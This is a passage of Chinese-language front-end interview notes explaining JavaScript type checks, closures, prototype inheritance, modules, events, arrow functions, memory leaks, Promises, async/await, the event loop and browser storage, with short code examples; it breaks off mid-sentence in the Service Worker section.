height: 100%;
}
.box-left {
width: 200px;
background-color: blue;
}
.box-right {
flex: 1; // 设置flex-grow属性为1,默认为0
background-color: red;
}
2 JavaScript
typeof类型判断
typeof
是否能正确判断类型?instanceof
能正确判断对象的原理是什么
typeof
对于原始类型来说,除了null
都可以显示正确的类型
typeof 1 // 'number'
typeof '1' // 'string'
typeof undefined // 'undefined'
typeof true // 'boolean'
typeof Symbol() // 'symbol'
typeof
对于对象来说,除了函数都会显示object
,所以说typeof
并不能准确判断变量到底是什么类型
typeof [] // 'object'
typeof {} // 'object'
typeof console.log // 'function'
如果我们想判断一个对象的正确类型,这时候可以考虑使用
instanceof
,因为内部机制是通过原型链来判断的
const Person = function() {}
const p1 = new Person()
p1 instanceof Person // true
var str = 'hello world'
str instanceof String // false
var str1 = new String('hello world')
str1 instanceof String // true
对于原始类型来说,你想直接通过
instanceof
来判断类型是不行的
typeof
- 直接在计算机底层基于数据类型的值(二进制)进行检测
typeof null
为object
原因是对象存在在计算机中,都是以000
开始的二进制存储,所以检测出来的结果是对象typeof
普通对象/数组对象/正则对象/日期对象 都是object
typeof NaN === 'number'
instanceof
- 检测当前实例是否属于这个类的
- 底层机制:只要当前类出现在实例的原型上,结果都是true
- 不能检测基本数据类型
constructor
- 支持基本类型
constructor
可以随便改,也不准
Object.prototype.toString.call([val])
- 返回当前实例所属类信息
写一个getType函数,获取详细的数据类型
- 获取类型
- 手写一个
getType
函数,传入任意变量,可准确获取类型 - 如
number
、string
、boolean
等值类型 - 引用类型
object
、array
、map
、regexp
- 手写一个
/**
* 获取详细的数据类型
* @param x x
*/
function getType(x) {
const originType = Object.prototype.toString.call(x) // '[object String]'
const spaceIndex = originType.indexOf(' ')
const type = originType.slice(spaceIndex + 1, -1) // 'String' -1不要右边的]
return type.toLowerCase() // 'string'
}
// 功能测试
console.info( getType(null) ) // null
console.info( getType(undefined) ) // undefined
console.info( getType(100) ) // number
console.info( getType('abc') ) // string
console.info( getType(true) ) // boolean
console.info( getType(Symbol()) ) // symbol
console.info( getType({}) ) // object
console.info( getType([]) ) // array
console.info( getType(() => {}) ) // function
console.info( getType(new Date()) ) // date
console.info( getType(new RegExp('')) ) // regexp
console.info( getType(new Map()) ) // map
console.info( getType(new Set()) ) // set
console.info( getType(new WeakMap()) ) // weakmap
console.info( getType(new WeakSet()) ) // weakset
console.info( getType(new Error()) ) // error
console.info( getType(new Promise(() => {})) ) // promise
类型转换
首先我们要知道,在
JS
中类型转换只有三种情况,分别是:
- 转换为布尔值
- 转换为数字
- 转换为字符串
转Boolean
在条件判断时,除了
undefined
,null
,false
,NaN
,''
,0
,-0
,其他所有值都转为true
,包括所有对象
对象转原始类型
对象在转换类型的时候,会调用内置的
[[ToPrimitive]]
函数,对于该函数来说,算法逻辑一般来说如下
- 如果已经是原始类型了,那就不需要转换了
- 调用
x.valueOf()
,如果转换为基础类型,就返回转换的值 - 调用
x.toString()
,如果转换为基础类型,就返回转换的值 - 如果都没有返回原始类型,就会报错
当然你也可以重写
Symbol.toPrimitive
,该方法在转原始类型时调用优先级最高。
let a = {
valueOf() {
return 0
},
toString() {
return '1'
},
[Symbol.toPrimitive]() {
return 2
}
}
1 + a // => 3
四则运算符
它有以下几个特点:
- 运算中其中一方为字符串,那么就会把另一方也转换为字符串
- 如果一方不是字符串或者数字,那么会将它转换为数字或者字符串
1 + '1' // '11'
true + true // 2
4 + [1,2,3] // "41,2,3"
- 对于第一行代码来说,触发特点一,所以将数字
1
转换为字符串,得到结果'11'
- 对于第二行代码来说,触发特点二,所以将
true
转为数字1
- 对于第三行代码来说,触发特点二,所以将数组通过
toString
转为字符串1,2,3
,得到结果41,2,3
另外对于加法还需要注意这个表达式
'a' + + 'b'
'a' + + 'b' // -> "aNaN"
- 因为
+ 'b'
等于NaN
,所以结果为"aNaN"
,你可能也会在一些代码中看到过+ '1'
的形式来快速获取number
类型。 - 那么对于除了加法的运算符来说,只要其中一方是数字,那么另一方就会被转为数字
4 * '3' // 12
4 * [] // 0
4 * [1, 2] // NaN
比较运算符
- 如果是对象,就通过
toPrimitive
转换对象 - 如果是字符串,就通过
unicode
字符索引来比较
let a = {
valueOf() {
return 0
},
toString() {
return '1'
}
}
a > -1 // true
在以上代码中,因为
a
是对象,所以会通过valueOf
转换为原始类型再比较值。
闭包
闭包的定义其实很简单:函数
A
内部有一个函数B
,函数B
可以访问到函数A
中的变量,那么函数B
就是闭包
function A() {
let a = 1
window.B = function () {
console.log(a)
}
}
A()
B() // 1
闭包存在的意义就是让我们可以间接访问函数内部的变量
经典面试题,循环中使用闭包解决
var
定义函数的问题
for (var i = 1; i <= 5; i++) {
setTimeout(function timer() {
console.log(i)
}, i * 1000)
}
首先因为
setTimeout
是个异步函数,所以会先把循环全部执行完毕,这时候i
就是6
了,所以会输出一堆6
解决办法有三种
- 第一种是使用闭包的方式
for (var i = 1; i <= 5; i++) {
;(function(j) {
setTimeout(function timer() {
console.log(j)
}, j * 1000)
})(i)
}
在上述代码中,我们首先使用了立即执行函数将
i
传入函数内部,这个时候值就被固定在了参数j
上面不会改变,当下次执行timer
这个闭包的时候,就可以使用外部函数的变量j
,从而达到目的
- 第二种就是使用
setTimeout
的第三个参数,这个参数会被当成timer
函数的参数传入
for (var i = 1; i <= 5; i++) {
setTimeout(
function timer(j) {
console.log(j)
},
i * 1000,
i
)
}
- 第三种就是使用
let
定义i
了来解决问题了,这个也是最为推荐的方式
for (let i = 1; i <= 5; i++) {
setTimeout(function timer() {
console.log(i)
}, i * 1000)
}
原型与原型链
原型关系
- 每个
class
都有显示原型prototype
- 每个实例都有隐式原型
__proto__
- 实例的
__proto__
指向class
的prototype
// 父类
class People {
constructor(name) {
this.name = name
}
eat() {
console.log(`${this.name} eat something`)
}
}
// 子类
class Student extends People {
constructor(name, number) {
super(name)
this.number = number
}
sayHi() {
console.log(`姓名 ${this.name} 学号 ${this.number}`)
}
}
// 实例
const xialuo = new Student('夏洛', 100)
console.log(xialuo.name)
console.log(xialuo.number)
xialuo.sayHi()
xialuo.eat()
基于原型的执行规则
获取属性xialuo.name
或执行方法xialuo.sayhi
时,先在自身属性和方法查找,找不到就去__proto__
中找
原型链
People.prototype === Student.prototype.__proto__
原型继承和 Class 继承
涉及面试题:原型如何实现继承?
Class
如何实现继承?Class
本质是什么?
首先先来讲下 class
,其实在 JS
中并不存在类,class
只是语法糖,本质还是函数
class Person {}
Person instanceof Function // true
组合继承
组合继承是最常用的继承方式
function Parent(value) {
this.val = value
}
Parent.prototype.getValue = function() {
console.log(this.val)
}
function Child(value) {
Parent.call(this, value)
}
Child.prototype = new Parent()
const child = new Child(1)
child.getValue() // 1
child instanceof Parent // true
- 以上继承的方式核心是在子类的构造函数中通过
Parent.call(this)
继承父类的属性,然后改变子类的原型为new Parent()
来继承父类的函数。 - 这种继承方式优点在于构造函数可以传参,不会与父类引用属性共享,可以复用父类的函数,但是也存在一个缺点就是在继承父类函数的时候调用了父类构造函数,导致子类的原型上多了不需要的父类属性,存在内存上的浪费
寄生组合继承
这种继承方式对组合继承进行了优化,组合继承缺点在于继承父类函数时调用了构造函数,我们只需要优化掉这点就行了
function Parent(value) {
this.val = value
}
Parent.prototype.getValue = function() {
console.log(this.val)
}
function Child(value) {
Parent.call(this, value)
}
Child.prototype = Object.create(Parent.prototype, {
constructor: {
value: Child,
enumerable: false,
writable: true,
configurable: true
}
})
const child = new Child(1)
child.getValue() // 1
child instanceof Parent // true
以上继承实现的核心就是将父类的原型赋值给了子类,并且将构造函数设置为子类,这样既解决了无用的父类属性问题,还能正确的找到子类的构造函数。
Class 继承
以上两种继承方式都是通过原型去解决的,在
ES6
中,我们可以使用class
去实现继承,并且实现起来很简单
class Parent {
constructor(value) {
this.val = value
}
getValue() {
console.log(this.val)
}
}
class Child extends Parent {
constructor(value) {
super(value)
this.val = value
}
}
let child = new Child(1)
child.getValue() // 1
child instanceof Parent // true
class
实现继承的核心在于使用extends
表明继承自哪个父类,并且在子类构造函数中必须调用super
,因为这段代码可以看成Parent.call(this, value)
。
模块化
涉及面试题:为什么要使用模块化?都有哪几种方式可以实现模块化,各有什么特点?
使用一个技术肯定是有原因的,那么使用模块化可以给我们带来以下好处
- 解决命名冲突
- 提供复用性
- 提高代码可维护性
立即执行函数
在早期,使用立即执行函数实现模块化是常见的手段,通过函数作用域解决了命名冲突、污染全局作用域的问题
(function(globalVariable){
globalVariable.test = function() {}
// ... 声明各种变量、函数都不会污染全局作用域
})(globalVariable)
AMD 和 CMD
鉴于目前这两种实现方式已经很少见到,所以不再对具体特性细聊,只需要了解这两者是如何使用的。
// AMD
define(['./a', './b'], function(a, b) {
// 加载模块完毕可以使用
a.do()
b.do()
})
// CMD
define(function(require, exports, module) {
// 加载模块
// 可以把 require 写在函数体的任意地方实现延迟加载
var a = require('./a')
a.doSomething()
})
CommonJS
CommonJS
最早是Node
在使用,目前也仍然广泛使用,比如在Webpack
中你就能见到它,当然目前在Node
中的模块管理已经和CommonJS
有一些区别了
// a.js
module.exports = {
a: 1
}
// or
exports.a = 1
// b.js
var module = require('./a.js')
module.a // -> log 1
ar module = require('./a.js')
module.a
// 这里其实就是包装了一层立即执行函数,这样就不会污染全局变量了,
// 重要的是 module 这里,module 是 Node 独有的一个变量
module.exports = {
a: 1
}
// module 基本实现
var module = {
id: 'xxxx', // 我总得知道怎么去找到他吧
exports: {} // exports 就是个空对象
}
// 这个是为什么 exports 和 module.exports 用法相似的原因
var exports = module.exports
var load = function (module) {
// 导出的东西
var a = 1
module.exports = a
return module.exports
};
// 然后当我 require 的时候去找到独特的id,然后将要使用的东西用立即执行函数包装下,over
虽然
exports
和module.exports
用法相似,但是不能对exports
直接赋值。因为var exports = module.exports
这句代码表明了exports
和module.exports
享有相同地址,通过改变对象的属性值会对两者都起效,但是如果直接对exports
赋值就会导致两者不再指向同一个内存地址,修改并不会对module.exports
起效
ES Module
ES Module
是原生实现的模块化方案,与CommonJS
有以下几个区别
CommonJS
支持动态导入,也就是require(${path}/xx.js)
,后者目前不支持,但是已有提案CommonJS
是同步导入,因为用于服务端,文件都在本地,同步导入即使卡住主线程影响也不大。而后者是异步导入,因为用于浏览器,需要下载文件,如果也采用同步导入会对渲染有很大影响CommonJS
在导出时都是值拷贝,就算导出的值变了,导入的值也不会改变,所以如果想更新值,必须重新导入一次。但是ES Module
采用实时绑定的方式,导入导出的值都指向同一个内存地址,所以导入值会跟随导出值变化ES Module
会编译成require/exports
来执行的
// 引入模块 API
import XXX from './a.js'
import { XXX } from './a.js'
// 导出模块 API
export function a() {}
export default function() {}
事件机制
涉及面试题:事件的触发过程是怎么样的?知道什么是事件代理嘛?
1. 事件触发三阶段
事件触发有三个阶段 :
window
往事件触发处传播,遇到注册的捕获事件会触发- 传播到事件触发处时触发注册的事件
- 从事件触发处往
window
传播,遇到注册的冒泡事件会触发
事件触发一般来说会按照上面的顺序进行,但是也有特例,如果给一个
body
中的子节点同时注册冒泡和捕获事件,事件触发会按照注册的顺序执行
// 以下会先打印冒泡然后是捕获
node.addEventListener(
'click',
event => {
console.log('冒泡')
},
false
)
node.addEventListener(
'click',
event => {
console.log('捕获 ')
},
true
)
2. 注册事件
通常我们使用
addEventListener
注册事件,该函数的第三个参数可以是布尔值,也可以是对象。对于布尔值useCapture
参数来说,该参数默认值为false
,useCapture
决定了注册的事件是捕获事件还是冒泡事件。对于对象参数来说,可以使用以下几个属性
capture
:布尔值,和useCapture
作用一样once
:布尔值,值为true
表示该回调只会调用一次,调用后会移除监听passive
:布尔值,表示永远不会调用preventDefault
一般来说,如果我们只希望事件只触发在目标上,这时候可以使用
stopPropagation
来阻止事件的进一步传播。通常我们认为stopPropagation
是用来阻止事件冒泡的,其实该函数也可以阻止捕获事件。stopImmediatePropagation
同样也能实现阻止事件,但是还能阻止该事件目标执行别的注册事件。
node.addEventListener(
'click',
event => {
event.stopImmediatePropagation()
console.log('冒泡')
},
false
)
// 点击 node 只会执行上面的函数,该函数不会执行
node.addEventListener(
'click',
event => {
console.log('捕获 ')
},
true
)
3. 事件代理
如果一个节点中的子节点是动态生成的,那么子节点需要注册事件的话应该注册在父节点上
<ul id="ul">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
<li>5</li>
</ul>
<script>
let ul = document.querySelector('#ul')
ul.addEventListener('click', (event) => {
console.log(event.target);
})
</script>
事件代理的方式相较于直接给目标注册事件来说,有以下优点 :
- 节省内存
- 不需要给子节点注销事件
箭头函数
- 箭头函数不绑定
arguments
,可以使用...args
代替 - 箭头函数没有
prototype
属性,不能进行new
实例化 - 箭头函数不能通过
call
、apply
等绑定this
,因为箭头函数底层是使用bind
永久绑定this
了,bind
绑定过的this
不能修改 - 箭头函数的
this
指向创建时父级的this
- 箭头函数不能使用
yield
关键字,不能作为Generator
函数
const fn1 = () => {
// 箭头函数中没有arguments
console.log('arguments', arguments)
}
fn1(100, 300)
const fn2 = () => {
// 这里的this指向window,箭头函数的this指向创建时父级的this
console.log('this', this)
}
// 箭头函数不能修改this
fn2.call({x: 100})
const obj = {
name: 'poetry',
getName2() {
// 这里的this指向obj
return () => {
// 这里的this指向obj
return this.name
}
},
getName: () => { // 1、不适用箭头函数的场景1:对象方法
// 这里不能使用箭头函数,否则箭头函数指向window
return this.name
}
}
obj.prototype.getName3 = () => { // 2、不适用箭头函数的场景2:对象原型
// 这里不能使用箭头函数,否则this指向window
return this.name
}
const Foo = (name) => { // 3、不适用箭头函数的场景3:构造函数
this.name = name
}
const f = new Foo('poetry') // 箭头函数没有 prototype 属性,不能进行 new 实例化
const btn1 = document.getElementById('btn1')
btn1.addEventListener('click',()=>{ // 4、不适用箭头函数的场景4:动态上下文的回调函数
// 这里不能使用箭头函数 this === window
this.innerHTML = 'click'
})
// Vue 组件本质上是一个 JS 对象,this需要指向组件实例
// vue的生命周期和method不能使用箭头函数
new Vue({
data:{name:'poetry'},
methods: { // 5、不适用箭头函数的场景5:vue的生命周期和method
getName: () => {
// 这里不能使用箭头函数,否则this指向window
return this.name
}
},
mounted:() => {
// 这里不能使用箭头函数,否则this指向window
this.getName()
}
})
// React 组件(非 Hooks)它本质上是一个 ES6 class
class Foo {
constructor(name) {
this.name = name
}
getName = () => { // 这里的箭头函数this指向实例本身没有问题的
return this.name
}
}
const f = new Foo('poetry')
console.log(f.getName() )
总结:不适用箭头函数的场景
- 场景1:对象方法
- 场景2:对象原型
- 场景3:构造函数
- 场景4:动态上下文的回调函数
- 场景5:vue的生命周期和
method
JS内存泄露如何检测?场景有哪些?
内存泄漏 :当一个对象不再被使用,但是由于某种原因,它的内存没有被释放,这就是内存泄漏。
1. 垃圾回收机制
- 对于在JavaScript中的字符串,对象,数组是没有固定大小的,只有当对他们进行动态分配存储时,解释器就会分配内存来存储这些数据,当JavaScript的解释器消耗完系统中所有可用的内存时,就会造成系统崩溃。
- 内存泄漏,在某些情况下,不再使用到的变量所占用内存没有及时释放,导致程序运行中,内存越占越大,极端情况下可以导致系统崩溃,服务器宕机。
- JavaScript有自己的一套垃圾回收机制,JavaScript的解释器可以检测到什么时候程序不再使用这个对象了(数据),就会把它所占用的内存释放掉。
- 针对JavaScript的垃圾回收机制有以下两种方法(常用):标记清除(现代),引用计数(之前)
有两种垃圾回收策略:
- 标记清除 :标记阶段即为所有活动对象做上标记,清除阶段则把没有标记(也就是非活动对象)销毁。
- 引用计数 :它把对象是否不再需要简化定义为对象有没有其他对象引用到它。如果没有引用指向该对象(引用计数为
0
),对象将被垃圾回收机制回收
标记清除的缺点:
- 内存碎片化 ,空闲内存块是不连续的,容易出现很多空闲内存块,还可能会出现分配所需内存过大的对象时找不到合适的块。
- 分配速度慢 ,因为即便是使用
First-fit
策略,其操作仍是一个O(n)
的操作,最坏情况是每次都要遍历到最后,同时因为碎片化,大对象的分配效率会更慢。
解决以上的缺点可以使用 标记整理(Mark-Compact)算法 标记结束后,标记整理算法会将活着的对象(即不需要清理的对象)向内存的一端移动,最后清理掉边界的内存(如下图)
引用计数的缺点:
- 需要一个计数器,所占内存空间大,因为我们也不知道被引用数量的上限。
解决不了循环引用导致的无法回收问题
IE 6、7
,JS
对象和DOM
对象循环引用,清除不了,导致内存泄露
V8
的垃圾回收机制也是基于标记清除算法,不过对其做了一些优化。
- 针对新生区采用并行回收。
- 针对老生区采用增量标记与惰性回收
注意 :
闭包不是内存泄露,闭包的数据是不可以被回收的
拓展:WeakMap、WeakMap的作用
- 作用是
防止内存泄露的
WeakMap
、WeakMap
的应用场景- 想临时记录数据或关系
- 在
vue3
中大量使用了WeakMap
WeakMap
的key
只能是对象,不能是基本类型
2. 如何检测内存泄露
内存泄露模拟
<p>
memory change
<button id="btn1">start</button>
</p>
<script>
const arr = []
for (let i = 0; i < 10 * 10000; i++) {
arr.push(i)
}
function bind() {
// 模拟一个比较大的数据
const obj = {
str: JSON.stringify(arr) // 简单的拷贝
}
window.addEventListener('resize', () => {
console.log(obj)
})
}
let n = 0
function start() {
setTimeout(() => {
bind()
n++
// 执行 50 次
if (n < 50) {
start()
} else {
alert('done')
}
}, 200)
}
document.getElementById('btn1').addEventListener('click', () => {
start()
})
</script>
打开开发者工具,选择 Performance
,点击 Record
,然后点击 Stop
,在 Memory
选项卡中可以看到内存的使用情况。
3. 内存泄露的场景(Vue为例)
- 被全局变量、函数引用,组件销毁时未清除
- 被全局事件、定时器引用,组件销毁时未清除
- 被自定义事件引用,组件销毁时未清除
<template>
<p>Memory Leak Demo</p>
</template>
<script>
export default {
name: 'Memory Leak Demo',
data() {
return {
arr: [10, 20, 30], // 数组 对象
}
},
methods: {
printArr() {
console.log(this.arr)
}
},
mounted() {
// 全局变量
window.arr = this.arr
window.printArr = ()=>{
console.log(this.arr)
}
// 定时器
this.intervalId = setInterval(() => {
console.log(this.arr)
}, 1000)
// 全局事件
window.addEventListener('resize', this.printArr)
// 自定义事件也是这样
},
// Vue2是beforeDestroy
beforeUnmount() {
// 清除全局变量
window.arr = null
window.printArr = null
// 清除定时器
clearInterval(this.intervalId)
// 清除全局事件
window.removeEventListener('resize', this.printArr)
},
}
</script>
4. 拓展 WeakMap WeakSet
weakmap
和 weakset
都是弱引用,不会阻止垃圾回收机制回收对象。
const map = new Map()
function fn1() {
const obj = { x: 100 }
map.set('a', obj) // fn1执行完 map还引用着obj
}
fn1()
const wMap = new WeakMap() // 弱引用
function fn1() {
const obj = { x: 100 }
// fn1执行完 obj会被清理掉
wMap.set(obj, 100) // weakMap 的 key 只能是引用类型,字符串数字都不行
}
fn1()
async/await异步总结
知识点总结
promise.then
链式调用,但也是基于回调函数async/await
是同步语法,彻底消灭回调函数
async/await和promise的关系
- 执行
async
函数,返回的是promise
async function fn2() {
return new Promise(() => {})
}
console.log( fn2() )
async function fn1() {
return 100
}
console.log( fn1() ) // 相当于 Promise.resolve(100)
await
相当于promise
的then
try catch
可捕获异常,代替了promise
的catch
await
后面跟Promise
对象:会阻断后续代码,等待状态变为fulfilled
,才获取结果并继续执行await
后续跟非Promise
对象:会直接返回
(async function () {
const p1 = new Promise(() => {})
await p1
console.log('p1') // 不会执行
})()
(async function () {
const p2 = Promise.resolve(100)
const res = await p2
console.log(res) // 100
})()
(async function () {
const res = await 100
console.log(res) // 100
})()
(async function () {
const p3 = Promise.reject('some err') // rejected状态,不会执行下面的then
const res = await p3 // await 相当于then
console.log(res) // 不会执行
})()
try...catch
捕获rejected
状态
(async function () {
const p4 = Promise.reject('some err')
try {
const res = await p4
console.log(res)
} catch (ex) {
console.error(ex)
}
})()
总结来看:
async
封装Promise
await
处理Promise
成功try...catch
处理Promise
失败
异步本质
await
是同步写法,但本质还是异步调用。
async function async1 () {
console.log('async1 start')
await async2()
console.log('async1 end') // 关键在这一步,它相当于放在 callback 中,最后执行
// 类似于Promise.resolve().then(()=>console.log('async1 end'))
}
async function async2 () {
console.log('async2')
}
console.log('script start')
async1()
console.log('script end')
// 打印
// script start
// async1 start
// async2
// script end
// async1 end
async function async1 () {
console.log('async1 start') // 2
await async2()
// await后面的下面三行都是异步回调callback的内容
console.log('async1 end') // 5 关键在这一步,它相当于放在 callback 中,最后执行
// 类似于Promise.resolve().then(()=>console.log('async1 end'))
await async3()
// await后面的下面1行都是异步回调callback的内容
console.log('async1 end2') // 7
}
async function async2 () {
console.log('async2') // 3
}
async function async3 () {
console.log('async3') // 6
}
console.log('script start') // 1
async1()
console.log('script end') // 4
即,只要遇到了
await
,后面的代码都相当于放在callback
(微任务) 里。
执行顺序问题
网上很经典的面试题
async function async1 () {
console.log('async1 start')
await async2() // 这一句会同步执行,返回 Promise ,其中的 `console.log('async2')` 也会同步执行
console.log('async1 end') // 上面有 await ,下面就变成了“异步”,类似 cakkback 的功能(微任务)
}
async function async2 () {
console.log('async2')
}
console.log('script start')
setTimeout(function () { // 异步,宏任务
console.log('setTimeout')
}, 0)
async1()
new Promise (function (resolve) { // 返回 Promise 之后,即同步执行完成,then 是异步代码
console.log('promise1') // Promise 的函数体会立刻执行
resolve()
}).then (function () { // 异步,微任务
console.log('promise2')
})
console.log('script end')
// 同步代码执行完之后,屡一下现有的异步未执行的,按照顺序
// 1. async1 函数中 await 后面的内容 —— 微任务(先注册先执行)
// 2. setTimeout —— 宏任务(先注册先执行)
// 3. then —— 微任务
// 同步代码执行完毕(event loop - call stack被清空)
// 执行微任务
// 尝试DOM渲染
// 触发event loop执行宏任务
// 输出
// script start
// async1 start
// async2
// promise1
// script end
// async1 end
// promise2
// setTimeout
关于for...of
for in
以及forEach
都是常规的同步遍历for of
用于异步遍历
// 定时算乘法
function multi(num) {
return new Promise((resolve) => {
setTimeout(() => {
resolve(num * num)
}, 1000)
})
}
// 使用 forEach ,是 1s 之后打印出所有结果,即 3 个值是一起被计算出来的
function test1 () {
const nums = [1, 2, 3];
nums.forEach(async x => {
const res = await multi(x);
console.log(res); // 一次性打印
})
}
test1();
// 使用 for...of ,可以让计算挨个串行执行
async function test2 () {
const nums = [1, 2, 3];
for (let x of nums) {
// 在 for...of 循环体的内部,遇到 await 会挨个串行计算
const res = await multi(x)
console.log(res) // 依次打印
}
}
test2()
Promise异步总结
知识点总结
- 三种状态
pending
、fulfilled
(通过resolve
触发)、rejected
(通过reject
触发)pending => fulfilled
或者pending => rejected
- 状态变化不可逆
- 状态的表现和变化
pending
状态,不会触发then
和catch
fulfilled
状态会触发后续的then
回调rejected
状态会触发后续的catch
回调
- then和catch对状态的影响(重要)
then
正常返回fulfilled
,里面有报错返回rejected
const p1 = Promise.resolve().then(()=>{
return 100
})
console.log('p1', p1) // fulfilled会触发后续then回调
p1.then(()=>{
console.log(123)
}) // 打印123
const p2 = Promise.resolve().then(()=>{
throw new Error('then error')
})
// p2是rejected会触发后续catch回调
p2.then(()=>{
console.log(456)
}).catch(err=>{
console.log(789)
})
// 打印789
* `catch`正常返回`fulfilled`,里面有报错返回`rejected`
const p1 = Promise.reject('my error').catch(()=>{
console.log('catch error')
})
p1.then(()=>{
console.log(1)
})
// console.log(p1) p1返回fulfilled 触发then回调
const p2 = Promise.reject('my error').catch(()=>{
throw new Error('catch error')
})
// console.log(p2) p2返回rejected 触发catch回调
p2.then(()=>{
console.log(2)
}).catch(()=>{
console.log(3)
})
promise then和catch的链接
// 第一题
Promise.resolve()
.then(()=>console.log(1))// 状态返回fulfilled
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,3
// 整个执行完没有报错,状态返回fulfilled
// 第二题
Promise.resolve()
.then(()=>{ // then中有报错 状态返回rejected,后面的catch会执行
console.log(1)
throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,2,3
// 整个执行完没有报错,状态返回fulfilled
// 第三题
Promise.resolve()
.then(()=>{//then中有报错 状态返回rejected,后面的catch会执行
console.log(1)
throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的catch不会执行
.catch(()=>console.log(3)) // 1,2
// 整个执行完没有报错,状态返回fulfilled
Event Loop执行机制过程
- 同步代码一行行放到
Call Stack
执行,执行完就出栈 - 遇到异步优先记录下,等待时机(定时、网络请求)
- 时机到了就移动到
Call Queue
(宏任务队列)- 如果遇到微任务(如
promise.then
)放到微任务队列 - 宏任务队列和微任务队列是分开存放的
- 因为微任务是
ES6
语法规定的 - 宏任务(
setTimeout
)是浏览器规定的
- 因为微任务是
- 如果遇到微任务(如
- 如果
Call Stack
为空,即同步代码执行完,Event Loop
开始工作Call Stack
为空,尝试先DOM
渲染,在触发下一次Event Loop
- 轮询查找
Event Loop
,如有则移动到Call Stack
- 然后继续重复以上过程(类似永动机)
DOM事件和Event Loop
DOM
事件会放到Web API中
等待用户点击,放到Call Queue
,在移动到Call Stack
执行
JS
是单线程的,异步(setTimeout
、Ajax
)使用回调,基于Event Loop
DOM
事件也使用回调,DOM
事件非异步,但也是基于Event Loop
实现
宏任务和微任务
- 介绍
- 宏任务:
setTimeout
、setInterval
、DOM
事件、Ajax
- 微任务:
Promise.then
、async/await
- 微任务比宏任务执行的更早
- 宏任务:
console.log(100)
setTimeout(() => {
console.log(200)
})
Promise.resolve().then(() => {
console.log(300)
})
console.log(400)
// 100 400 300 200
- event loop 和 DOM 渲染
- 每次
call stack
清空(每次轮询结束),即同步代码执行完。都是DOM
重新渲染的机会,DOM
结构如有改变重新渲染 - 再次触发下一次
Event Loop
- 每次
const $p1 = $('<p>一段文字</p>')
const $p2 = $('<p>一段文字</p>')
const $p3 = $('<p>一段文字</p>')
$('#container')
.append($p1)
.append($p2)
.append($p3)
console.log('length', $('#container').children().length )
alert('本次 call stack 结束,DOM 结构已更新,但尚未触发渲染')
// (alert 会阻断 js 执行,也会阻断 DOM 渲染,便于查看效果)
// 到此,即本次 call stack 结束后(同步任务都执行完了),浏览器会自动触发渲染,不用代码干预
// 另外,按照 event loop 触发 DOM 渲染时机,setTimeout 时 alert ,就能看到 DOM 渲染后的结果了
setTimeout(function () {
alert('setTimeout 是在下一次 Call Stack ,就能看到 DOM 渲染出来的结果了')
})
- 宏任务和微任务的区别
- 宏任务:
DOM
渲染后再触发,如setTimeout
- 微任务:
DOM
渲染前会触发,如Promise
- 宏任务:
// 修改 DOM
const $p1 = $('<p>一段文字</p>')
const $p2 = $('<p>一段文字</p>')
const $p3 = $('<p>一段文字</p>')
$('#container')
.append($p1)
.append($p2)
.append($p3)
// 微任务:渲染之前执行(DOM 结构已更新,看不到元素还没渲染)
// Promise.resolve().then(() => {
// const length = $('#container').children().length
// alert(`micro task ${length}`) // DOM渲染了?No
// })
// 宏任务:渲染之后执行(DOM 结构已更新,可以看到元素已经渲染)
setTimeout(() => {
const length = $('#container').children().length
alert(`macro task ${length}`) // DOM渲染了?Yes
})
再深入思考一下:为何两者会有以上区别,一个在渲染前,一个在渲染后?
- 微任务 :
ES
语法标准之内,JS
引擎来统一处理。即,不用浏览器有任何干预,即可一次性处理完,更快更及时。 - 宏任务 :
ES
语法没有,JS
引擎不处理,浏览器(或nodejs
)干预处理。
总结:正确的一次 Event loop 顺序是这样
- 执行同步代码,这属于宏任务
- 执行栈为空,查询是否有微任务需要执行
- 执行所有微任务
- 必要的话渲染
UI
- 然后开始下一轮
Event loop
,执行宏任务中的异步代码
通过上述的
Event loop
顺序可知,如果宏任务中的异步代码有大量的计算并且需要操作DOM
的话,为了更快的响应界面响应,我们可以把操作DOM
放入微任务中
3 浏览器
储存
涉及面试题:有几种方式可以实现存储功能,分别有什么优缺点?什么是
Service Worker
?
cookie,localStorage,sessionStorage,indexDB
特性 | cookie | localStorage | sessionStorage | indexDB |
---|---|---|---|---|
数据生命周期 | 一般由服务器生成,可以设置过期时间 | 除非被清理,否则一直存在 | 页面关闭就清理 | 除非被清理,否则一直存在 |
数据存储大小 | 4KB | 5M | 5M | 无限 |
与服务端通信 | 每次都会携带在 header 中,对于请求性能影响 | 不参与 | 不参与 | 不参与 |
从上表可以看到,
cookie
已经不建议用于存储。如果没有大量数据存储需求的话,可以使用localStorage
和sessionStorage
。对于不怎么改变的数据尽量使用localStorage
存储,否则可以用sessionStorage
存储
对于 cookie 来说,我们还需要注意安全性。
属性 | 作用 |
---|---|
value | 如果用于保存用户登录态,应该将该值加密,不能使用明文的用户标识 |
http-only | 不能通过 JS 访问 Cookie ,减少 XSS 攻击 |
secure | 只能在协议为 HTTPS 的请求中携带 |
same-site | 规定浏览器不能在跨域请求中携带 Cookie ,减少 CSRF 攻击 |
Service Worker
Service Worker
是运行在浏览器背后的独立线程,一般可以用来实现缓存功能。使用Service Worker
的话,传输协议必须为HTTPS
。因为Service Worker
中涉及到请求拦截,所以必须使用HTTPS
协议来保障安全Service Worker
实现缓存功能一般分为三个步骤:首先需要先注册Service Worker
,然后监听到install
事件以后就可以缓存需要的文件,那么在下次用户访问的时候就可以通过拦截请求的方式查询是否存在缓存,存在缓存的话就可以直接读取缓存文件,否则就去请求数据。以下是这个步骤的实现:
// index.js
if (navigator.serviceWorker) {
navigator.serviceWorker
.register('sw.js')
.then(function(registration) {
console.log('service worker 注册成功')
})
.catch(function(err) {
console.log('servcie worker 注册失败')
})
}
// sw.js
// 监听 `install` 事件,回调中缓存所需文件
self.addEventListener('install', e => {
e.waitUntil(
caches.open('my-cache').then(function(cache) {
return cache.addAll(['./index.html', './index.js'])
})
)
})
// 拦截所有请求事件
// 如果缓存中已经有请求的数据就直接用缓存,否则去请求数据
self.addEventListener('fetch', e => {
e.respondWith(
caches.match(e.request).then(function(response) {
if (response) {
return response
}
console.log('fetch source')
})
)
})
打开页面,可以在开发者工具中的
Application
看到Service Worker
已经启动了
在
Cache
中也可以发现我们所需的文件已被缓存
当我们重新刷新页面可以发现我们缓存的数据是从
